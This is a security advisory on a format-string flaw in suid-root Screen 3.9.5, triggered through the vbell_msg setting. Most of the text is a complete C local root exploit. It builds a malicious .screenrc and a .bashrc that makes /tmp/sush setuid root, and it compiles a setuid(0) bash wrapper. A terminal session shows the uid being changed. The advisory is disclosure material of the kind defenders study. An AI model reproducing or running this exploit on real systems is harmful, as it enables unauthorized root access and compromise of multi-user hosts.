COMMAND

    Screen

SYSTEMS AFFECTED

    Screen 3.9.5

PROBLEM

    Paul Starzetz found following.  As mentioned in previous advisory,
    screen  versions  <=  3.9.5  which  are  installed  suid  root are
    vulnerable to a malformed  user supplied vbell_msg string  attack.
    For more info see:

        http://oliver.efri.hr/~crv/security/bugs/mUNIXes/screen5.html

    Paul  looked  at  the  source  of  screen-3.9.5 and found that the
    vulnerable call to Msg() moved to another place and that there  is
    no longer a buffer holding the cwd, from which screen was started.
    But again,  after a  examination of  the stack  he found,  that if
    compiled  with  the  'NETHACK'  flag  (which seems to be default),
    there is  still a  buffer holding  an usable  string from environ,
    namelly

        char nethackrc[MAXPATHLEN];

    which holds the value of  'HOME'. So the exploitation can  be done
    by creating a prepared home  dir and putting it into  environ. The
    buffer  nethackrc  (which  has  an  offset  about 300-600 from the
    vulnerable  function)  is  filled  only  if  the  environ variable
    'NETHACKOPTIONS'  is  _not_  set,  but  after  we  can use our own
    environ...

    MAXPATHLEN may be too small to reach the original environ  strings
    from Msg()  and the  'vbell_msg' command  in .screenrc  takes max.
    about 2000 characters, so we can 'eat' max. ~  1000*sizeof(double)
    (%g  conversion)  bytes  from   the  stack  frame  inside   Msg().
    Exploiting over the original environ area may be really hard.

    Nevertheless it works again on SuSE 6.1 with compiled screen-3.9.5
    from sources (maybe some one checks the rpms).  On OpenBSD so  far
    as Paul  could check  (OpenBSD lemur  2.8 KALM#4  i386) a  problem
    arises from the low VM addresses, he found an uid  offset=0x3d1e4,
    which  has  0x00  if  converted  to  4  x  unsigned char.  But how
    construct a C string containg a few '0'.  What about  overwritting
    the RET?

    So now the exploit:

        paul@phoenix:/usr/home/paul/tmp2/screxp > id
        uid=500(paul) gid=100(users) groups=100(users)
        paul@phoenix:/usr/home/paul/tmp2/screxp > a.out 0 0 3
        ...
        chown: /tmp/sush: Operation not permitted
        paul@phoenix:/usr/home/paul/tmp2/screxp > <ctrl-g> <ctrl-c>
        shell-init: could not get current directory: getcwd: cannot access
        parent direct
        ories: Permission denied
        chown: /tmp/sush: Operation not permitted
        I have no name!@phoenix:/usr/home/paul/tmp2/screxp > id
        uid=177 gid=100(users) groups=100(users)

    So you can again play with the writeoffset (-1 :-) and gain r00t.

    /****************************************************************
    *								                                *
    *		Screen 3.9.5 local exploit			                    *
    *		by IhaQueR@IRCnet				                        *
    *		only for demonstrative purposes			                *
    *								                                *
    ****************************************************************/
    
    
    
    
    #include <stdio.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/utsname.h>
    #include <pwd.h>
    #include <stdlib.h>
    #include <errno.h>
    
    
    
    
    
    #define SCREENRC ".screenrc"
    #define BASHRC ".bashrc"
    #define SCREEN "/usr/home/paul/tmp2/screen-3.9.5/screen"
    #define TMPPATH "/tmp/"
    
    
    
    /*	to help you hit the buffer we repeat the addr in the dir path	*/
    #define AREP 48
    
    /*	but write only once	*/
    #define WREP 1
    
    /*	offset of the nethack-buffer seen from Msg()	*/
    #define BUFOFFSET 592
    
    #define TMPBUFSIZE (BUFOFFSET+1024)
    
    
    /*	addr to be written	(may vary)*/
    #define WRITEADDR 0x8084e14
    
    /*	some addresses grabbed from 3.9.5
    
    S.u.S.E 6.1: 592
    
		    &real_uid,	&real_gid,	&eff_uid,	&eff_gid	own_uid
		    0x8084e14	0x80839fc	0x8083950	0x8083954
    
    OpenBSD: 320
    
		    &real_uid,	&real_gid,	&eff_uid,	&eff_gid	own_uid
		    0x3d1e4
		    0x3d1e4
    
    
    for finding addresses see expl.c, it may be hard...
    
    */
    
    
    
    int main(int argc, char** argv)
    {
    int i, off=0;
    int writeoffs, bufoffset, padding, bfoff;
    unsigned a, *p;
    FILE* fp;
    
    char buf[TMPBUFSIZE];
    unsigned char adr[(AREP+4)*sizeof(unsigned)];
    char screenrc[TMPBUFSIZE];
    char bashrc[TMPBUFSIZE];
    
    
    
		    if(argc != 4) {
			    printf("USAGE %s <write offset> <bufferoffset> <padding>\n", argv[0]);
			    return 0;
		    } else {
			    printf("Screen 3.9.5 local r00t exploit\n");
			    printf("by IhaQueR@IRCnet\n\n");
		    }
    
    /*	user supplied offsets	*/
		    writeoffs = atoi(argv[1]);
		    bfoff = atoi(argv[2]);
		    padding = atoi(argv[3]);
    
    /*	create home string		*/
		    bzero(adr, (AREP+2)*sizeof(unsigned));
		    sprintf(adr, "HOME=%s", TMPPATH);
    
    /*	pad		*/
		    for(i=0; i<padding; i++)
			    strcat(adr, "P");
    
		    p = (unsigned*) (adr + strlen(adr));
		    a = WRITEADDR + writeoffs;
    
		    for(i=0; i<AREP; i++) {
			    *p = a;
			    p++;
		    }
		    *p = 0;
    
		    if(mkdir((char*)(adr+5), 0xfff))
			    if(errno != EEXIST) {
				    printf("\nERROR: mkdir()");
				    return 2;
			    }
    
    /*	PWD=cwd/ourdir\000 + VARNAME= => off + 6 + strlen(VARNAME)	*/
		    off += strlen(TMPPATH);
		    off += bfoff*8;
		    bufoffset = BUFOFFSET + off;
    
    /*	strings for .screenrc and .bashrc	*/
		    strcpy(screenrc, adr+5);
		    strcat(screenrc, "/");
		    strcat(screenrc, SCREENRC);
		    strcpy(bashrc, adr+5);
		    strcat(bashrc, "/");
		    strcat(bashrc, BASHRC);
    
    /*	create vbell string	*/
		    printf("creating magic string\n");
		    bzero(buf, TMPBUFSIZE);
    
    /*	consume stack arguments	*/
		    for(i=0; i<bufoffset/8+1; i++)
			    strcat(buf, "%.0g");
    
    /*		finally write to adress	*/
		    for(i=0;i<WREP; i++)
			    strcat(buf, "%x");
    
    /*	create screenrc	*/
		    printf("building %s\n", SCREENRC);
		    if(fp = fopen(screenrc, "w")) {
			    fprintf(fp, "vbell on\n");
			    fprintf(fp, "vbell_msg '%s'\n", buf);
			    fprintf(fp, "vbellwait 3600\n");
			    fclose(fp);
		    }
		    else {
			    printf("ERROR: opening %s\n", screenrc);
			    return 1;
		    }
    
    /*		create bashrc		*/
		    printf("creating %s\n", BASHRC);
		    snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod 4755 /tmp/sush'", bashrc);
		    system(buf);
    
    /*		create suid shell	*/
		    printf("compiling suid shell\n");
		    snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char** av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
		    system(buf);
		    system("gcc /tmp/sush.c -o /tmp/sush");
    
    /*	set env and call screen	*/
		    argv[1] = NULL;
		    printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush");
    
		    putenv(adr);
		    getchar();
		    execv(SCREEN, argv);
    }

SOLUTION

    Nothing yet.